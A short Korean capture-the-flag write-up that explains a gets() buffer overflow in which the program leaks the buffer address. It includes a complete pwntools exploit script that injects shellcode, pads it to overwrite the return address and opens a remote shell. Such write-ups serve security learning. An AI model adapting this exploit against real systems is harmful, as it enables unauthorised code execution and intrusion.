문제 분석
gets에서 BOF 취약점을 찾을 수 있다. 또한 puts를 통해 buffer의 주소를 알려주고 있다.
문제 풀이
buffer에 쉘코드를 넣고 gets에서 BOF를 통해 return address를 buffer로 덮어주면 된다.
payload는 다음과 같이 작성하면 된다.
shellcode - dummy(27952(buffer size)+8(rbp)-length(shellcode)) + (buffer address)
from pwn import *
p = remote('ctf.j0n9hyun.xyz', 3005)
p.recvuntil('buf: ')
buf = int(p.recv(14),16)
context.arch = 'amd64'
shellcode = asm(shellcraft.sh())
payload = ''
payload += shellcode
payload += '\x90'*(0x6d38-len(shellcode))
payload += p64(buf)
p.sendline(payload)
p.interactive()